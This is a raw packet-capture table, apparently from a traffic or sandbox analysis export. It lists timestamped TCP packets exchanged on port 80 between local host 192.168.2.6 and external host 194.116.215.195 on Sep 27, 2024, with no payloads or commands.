Sep 27, 2024 16:18:09.974734068 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974760056 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974767923 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974793911 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974800110 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974833012 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975076914 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975110054 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975119114 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975142956 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975148916 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975184917 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975197077 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975229979 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975240946 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975261927 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975265026 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975296021 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975303888 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975328922 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975337029 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975363016 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975373983 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975404978 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975419998 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975454092 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975465059 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975486994 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975501060 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975519896 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975529909 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975553036 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975564003 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975588083 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.975595951 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975630045 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.975970984 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.976002932 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.976025105 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.976042032 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.976067066 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.976073980 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.976073980 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.976113081 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.056736946 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.056776047 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.056811094 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.056813955 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.056826115 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.056864023 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.056869030 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.056899071 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.056907892 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.056932926 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.056938887 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.056967974 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.056977034 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.057003021 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057012081 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.057049036 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.057317972 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057358980 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057379007 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.057394028 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057410955 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.057429075 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057462931 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057471037 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.057498932 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057545900 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057596922 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057646036 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057667017 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.057679892 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057709932 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.057717085 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057785988 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057802916 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.057816982 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057864904 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057897091 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057903051 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.057930946 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057960987 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.057991982 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058018923 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058022022 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058056116 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058073997 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058083057 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058115959 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058147907 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058182001 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058187008 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058243036 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058284998 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058557034 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058588028 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058610916 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058638096 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058651924 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058671951 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058677912 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058705091 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058715105 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058737993 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058747053 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058772087 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058779955 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058804989 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058811903 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058837891 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058847904 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058870077 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058878899 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058903933 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058912039 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058936119 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058939934 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.058969975 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.058976889 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059001923 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059010029 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059036016 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059041977 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059067965 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059076071 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059108973 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059669018 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059701920 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059712887 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059735060 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059748888 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059768915 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059776068 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059806108 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059808969 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059839010 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059847116 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059870958 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059884071 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059905052 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059912920 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059936047 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059947014 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.059969902 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.059977055 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060002089 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060010910 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060034990 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060043097 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060066938 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060077906 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060101032 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060102940 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060133934 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060146093 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060172081 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060543060 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060575008 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060587883 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060606956 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060614109 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060641050 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060650110 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060672998 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060689926 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060704947 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060715914 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060738087 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060745001 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060770035 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060775042 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060801983 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060808897 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060836077 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060842037 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060867071 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060874939 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060895920 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060913086 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060928106 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060940981 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060961008 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.060980082 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.060992002 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061002970 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061023951 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061038017 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061053991 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061068058 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061098099 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061356068 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061410904 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061587095 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061619997 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061638117 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061651945 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061657906 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061683893 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061691046 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061717987 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061748981 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061764956 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061764956 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061780930 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061785936 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061814070 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061824083 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061846972 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061855078 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061878920 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061891079 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061911106 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061923981 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061944962 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061959982 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.061976910 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.061991930 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062011003 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062026978 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062042952 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062056065 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062074900 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062084913 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062103033 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062115908 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062141895 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062540054 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062573910 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062587976 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062607050 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062613010 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062640905 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062648058 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062674999 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062681913 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062707901 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062716961 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062741041 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062750101 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062773943 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062784910 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062808037 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062814951 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062839985 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062855005 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062871933 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062882900 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062903881 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062913895 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062937021 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062944889 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.062969923 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.062984943 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.063003063 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.063015938 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.063035965 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.063050032 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.063067913 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.063076019 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.063111067 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.063357115 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.063410044 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.143718004 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.143733978 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.143748999 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.143774986 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.143778086 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.143795013 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.143809080 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.143837929 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.143881083 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.143896103 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.143912077 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.143929958 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.143959045 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144037008 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144051075 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144064903 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144078970 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144083023 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144095898 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144159079 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144159079 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144407988 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144423008 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144435883 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144450903 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144455910 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144480944 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144505978 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144539118 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144552946 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144583941 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144597054 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144610882 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144627094 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144639969 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144651890 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144665003 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144685030 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144845963 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144860029 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144872904 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144911051 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144911051 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144941092 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144957066 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144969940 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144969940 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.144989967 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.144996881 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.145004988 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145006895 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.145020008 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145035028 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145060062 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.145080090 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.145561934 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145576000 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145589113 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145602942 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145612955 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.145617962 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145632982 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145642042 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.145648003 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145663023 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145673990 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.145678043 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.145689011 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.145693064 CEST	80	49605	194.116.215.195	192.168.2.6
